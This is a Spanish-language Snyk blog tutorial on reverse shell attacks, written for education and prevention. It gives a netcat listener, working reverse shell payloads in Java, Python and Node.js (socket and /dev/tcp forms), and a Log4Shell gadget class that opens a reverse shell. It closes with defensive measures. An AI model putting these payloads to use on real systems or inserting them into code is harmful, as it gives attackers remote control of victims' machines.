Skip to main content

Controlar tu servidor mediante un ataque de shell inversa

Escrito por
hero tsd podcast navy

10 de agosto de 2022

0 minutos de lectura

Nota del editor: 9 de mayo de 2023

Esta publicación, publicada originalmente el 10 de agosto de 2022, se actualizó para mostrar cómo Snyk puede ayudarte a prevenir ataques de shell inverso.

Crear y ejecutar una aplicación en tu lenguaje favorito suele ser bastante sencillo. Después de crearla, implementarla y mostrarla al mundo también es bastante fácil. Lo último que necesitas es que alguien se apodere de tu sistema y tome el control total de tu nueva aplicación. En este artículo, explicaré cómo puede ocurrir esto mediante un ataque de shell inversa.

Ten en cuenta que los ejemplos de código de este artículo son solo para fines educativos. Mi objetivo principal es explicar qué es un ataque de shell remota y cómo puede ocurrir en tus aplicaciones. No se recomienda usar este ni ningún otro ejemplo para hackear a alguien. En la mayoría de los países, hackear sin el consentimiento del objetivo es ilegal, incluso si tienes las mejores intenciones.

¿Qué es una shell inversa?

Una shell inversa (o shell de conexión inversa) es una sesión de shell que inicia la máquina objetivo hacia un host remoto. La máquina objetivo abre la sesión hacia un host y puerto específicos. Se puede crear una conexión de shell si el host remoto escucha en ese puerto con el software adecuado. Es importante tener en cuenta que quien inicia la conexión es la máquina objetivo, no el host remoto.

En un ataque de shell remota, un atacante intenta hacer que la máquina de la víctima inicie esa conexión. El ataque puede establecer acceso interactivo a la shell (básicamente, una terminal) y tomar el control de la máquina de la víctima.

¿Cómo ocurre un ataque de shell inversa?

En la mayoría de los casos, un ataque de shell inversa ocurre cuando una aplicación es vulnerable a una vulnerabilidad de ejecución remota de código. Un atacante aprovecha una vulnerabilidad de la aplicación para ejecutar código en la máquina de la víctima e iniciar la sesión de shell. Sin saberlo, la víctima crea una conexión, y el atacante solo tiene que escuchar las conexiones entrantes en el puerto correcto. Una vez establecida la conexión, el atacante obtiene acceso a la shell de la víctima y puede hacer todo tipo de cosas interesantes.

Piensa en una pelota de tenis. Si la lanzas contra algo duro, rebotará hacia ti. Solo tienes que atraparla en el lugar y momento adecuados. 

Cómo establecer una conexión de shell inversa

Para crear una shell inversa, tienes varias opciones, según el lenguaje que uses. Sin embargo, antes de ejecutar este código de shell inversa, debemos asegurarnos de escuchar en el puerto correcto las conexiones entrantes.

Escuchar conexiones entrantes con netcat

Una excelente herramienta para hacerlo es netcat. Netcat (a menudo abreviado como nc) es una utilidad de redes informáticas que permite leer y escribir en conexiones de red mediante TCP o UDP. En la máquina a la que quieres que se conecte la shell inversa, puedes usar netcat para escuchar las conexiones entrantes en un puerto específico. El siguiente ejemplo muestra cómo hacer que netcat escuche en el puerto 9001. Ten en cuenta que el parámetro v no es estrictamente necesario, pero proporciona una salida detallada útil.

nc -lvp 9001

Ejecutar una shell inversa en Python, Java o Node.js

Veamos dos métodos para configurar una shell inversa. Ambos ejemplos son adecuados para sistemas que tienen instalada la shell bash.

Carga útil de shell inversa:

El primer método consiste en realizar una acción mediante programación para iniciar una shell. Luego, creamos una conexión de socket con la computadora remota usando la dirección IP y el puerto adecuados.

Por último, conectamos los descriptores de archivo (entrada, salida y error) de la shell con la conexión de socket recién creada.

Java

public static void main(String[] args) throws IOException {
       Process process = new ProcessBuilder("bash").redirectErrorStream(true).start();
       Socket socket = new Socket("127.0.0.1", 9001);
       InputStream pInput = process.getInputStream();
       InputStream pError = process.getErrorStream();
       InputStream sInput = socket.getInputStream();

       OutputStream pOutput = process.getOutputStream();
       OutputStream sOutput = socket.getOutputStream();

       while (!socket.isClosed()) {
           while (pInput.available() > 0) sOutput.write(pInput.read());
           while (pError.available() > 0) sOutput.write(pError.read());
           while (sInput.available() > 0) pOutput.write(sInput.read());
           sOutput.flush();
           pOutput.flush();
       }
}

En este ejemplo de Java, redirigimos el InputStream y el ErrorStream del proceso al OutputStream de la conexión de socket remota. También debemos hacer lo contrario y escribir el Socket OutputStream en el Inputstream del proceso bash.

Shell inversa en Python

import sys,socket,os,pty;

s = socket.socket();
s.connect(("127.0.0.1",9001));
[os.dup2(s.fileno(),fd) for fd in (0,1,2)];
pty.spawn("bash");

En este script de Python, conectamos stdin, stdout y stderr a la conexión de socket. En los sistemas tipo Unix, estos son los tres primeros descriptores de archivo. Luego usamos pty para ejecutar bash.

Node.js

var net = require("net");
var cp = require("child_process");
var sh = cp.spawn("bash", []);
var client = new net.Socket();
client.connect(9001, "127.0.0.1", function(){
   client.pipe(sh.stdin);
   sh.stdout.pipe(client);
   sh.stderr.pipe(client);
});

Este ejemplo de Node.js es muy similar al de Python. Ejecutamos bash y conectamos adecuadamente los descriptores de archivo estándar a la conexión de socket.

Ejecutar un comando de shell inversa:

El segundo método es un poco más corto. La mayoría de los lenguajes tienen alguna forma de ejecutar comandos de shell, como:

  • Runtime.getRuntime() en Java

  • os.system() en Python

  • require(‘child_process’).exec() en Node.js

Podemos aprovechar estas funciones para ejecutar un comando de shell de una sola línea que inicie la shell inversa.

Java

public static void main(String[] args) throws IOException {
   String[] cmd = {
           "bash",
           "-c",
           "exec 5<>/dev/tcp/127.0.0.1/9001;cat <&5 | while read line; do $line 2>&5 >&5; done" };

   Runtime.getRuntime().exec(cmd);
}

Python

import os;

os.system('bash -c "bash -i 5<> /dev/tcp/127.0.0.1/9001 0<&5 1>&5 2>&5"')

Node.js

require('child_process').exec('bash -c "bash -i 5<> /dev/tcp/127.0.0.1/9001 0<&5 1>&5 2>&5"')

Si primero ejecutas el comando netcat para escuchar en el puerto 9001 y luego ejecutas este fragmento de código, verás que se establece la conexión y podrás ejecutar comandos de shell como el siguiente.

Ventana de terminal que muestra un listener de nc en el puerto 9001 que recibe una conexión, seguido del comando whoami, que devuelve “brianvermeer”.

Con todos los ejemplos anteriores, estableces una conexión de shell inversa contigo mismo. Si quieres hacerlo con una máquina remota, obviamente tendrás que cambiar la dirección IP según corresponda. Luego, recuerda que, aunque tengas acceso, los privilegios dependen del usuario que ejecute este código en la máquina de la víctima. Para obtener privilegios elevados, quizá tengas que hacer algo más.

Cómo crear un ataque de shell inversa mediante una vulnerabilidad de ejecución remota de código

Para llevar a cabo un ataque real con ejemplos de código como estos, debemos aprovechar una vulnerabilidad de ejecución de código e insertar el código en un sistema existente. Un gran ejemplo es la vulnerabilidad Log4Shell, descubierta en diciembre de 2021. Era posible insertar una clase gadget que ejecutara código al instanciarse. Muchos ejemplos mostraban cómo iniciar la calculadora o hacer algo inofensivo. Sin embargo, el código siguiente crearía un gadget para esta infame vulnerabilidad de Log4j. Si aprovechas Log4Shell hoy, ya no iniciarás la calculadora: la convertirás en un mecanismo para habilitar una shell inversa.

public class Evil implements ObjectFactory {

   @Override
   public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
       String[] cmd = {
               "/bin/bash",
               "-c",
               "exec 5<>/dev/tcp/127.0.0.1/9001;cat <&5 | while read line; do $line 2>&5 >&5; done" };

       Runtime.getRuntime().exec(cmd);
       return null;
   }
}

Casi cualquier vulnerabilidad de ejecución remota de código puede utilizarse para habilitar un ataque de shell inversa. Otros ejemplos recientes fueron Spring4Shell y la vulnerabilidad RCE de Apache Commons Configuration. Ninguno de los dos fue tan problemático como Log4Shell, pero puedes usar cualquiera para crear un ataque de shell inversa y posiblemente controlar una máquina objetivo. Por eso, es fundamental evitar que se ejecute, aunque sea parcialmente, la entrada del usuario.

Con Snyk Open Source, puedes analizar tu aplicación para detectar vulnerabilidades en bibliotecas de código abierto, incluido este problema de Log4j. Aquí tienes un ejemplo del resultado del complemento de Snyk para IntelliJ IDEA, que menciona este problema y cómo corregirlo.

Pantalla de vulnerabilidades de Snyk que muestra un problema de ejecución de código arbitraria en Apache Log4j 2.14.1, corregido en la versión 2.15.0.

Cómo prevenir ataques de shell inversa

Si impedimos que un atacante ejecute código en tu máquina, eliminamos casi todas las posibilidades de un ataque de shell inversa. Veamos algunas medidas que puedes tomar como desarrollador para prevenir ataques maliciosos de shell inversa.

  • Elimina las instrucciones de ejecución. Evita en la medida de lo posible las instrucciones de tu código que puedan ejecutar scripts u otras partes de código, como exec().

  • Desinfecta y valida las entradas. Debes considerar que todas las entradas pueden ser maliciosas. Esto no se limita a la entrada directa del usuario. Por ejemplo, si un campo de una base de datos se usa como entrada para una ejecución, alguien podría intentar atacar la base de datos.

  • Ejecuta tu aplicación con privilegios limitados. No ejecutes tu aplicación como root; crea un usuario con los privilegios mínimos necesarios. Lamentablemente, esto ocurre con frecuencia en aplicaciones dentro de contenedores Docker, ya que el usuario predeterminado de un contenedor Docker es root.

  • Prevén las vulnerabilidades que permiten la ejecución remota de código. Si una biblioteca o un framework está comprometido, reemplázalo por una versión segura.

Casi cualquier vulnerabilidad de ejecución remota de código puede utilizarse para un ataque de shell inversa, aunque el caso de uso parezca poco probable.

¡Snyk puede ayudar!

Snyk es una herramienta útil para prevenir ataques de shell inversa mediante el análisis de código y dependencias. Detecta posibles errores de seguridad en tu código personalizado y revisa las dependencias transitivas para encontrar vulnerabilidades conocidas.

Empieza con los desafíos de Capture the Flag

Aprende a resolver desafíos de captura la bandera con nuestro taller virtual introductorio a pedido.

Leer más

Blog

Los modelos de frontera encontraron las vulnerabilidades. Solo el atacante encontró las cadenas.

El análisis estático encontró las fallas, pero solo las pruebas de ataque en vivo demostraron cómo podían encadenarse para provocar brechas. Una comparación de Evo COS, Claude Security y Claude Code Security.

feature insights context
Blog

Los ataques autónomos ya están aquí. La defensa debe estar a su altura.

Los atacantes autónomos están reduciendo el tiempo disponible para defenderse. Descubre cómo el descubrimiento, la corrección, la validación y la prevención continuos pueden ayudar a los equipos de seguridad a seguirles el ritmo.

Blog

Por qué los agentes de programación con IA siguen generando fallas de control de acceso

Los agentes de programación con IA pueden generar lógica de autorización que compila y supera la revisión, pero expone los datos de un inquilino a otro. Descubre por qué es difícil detectar el control de acceso roto y cómo prevenirlo.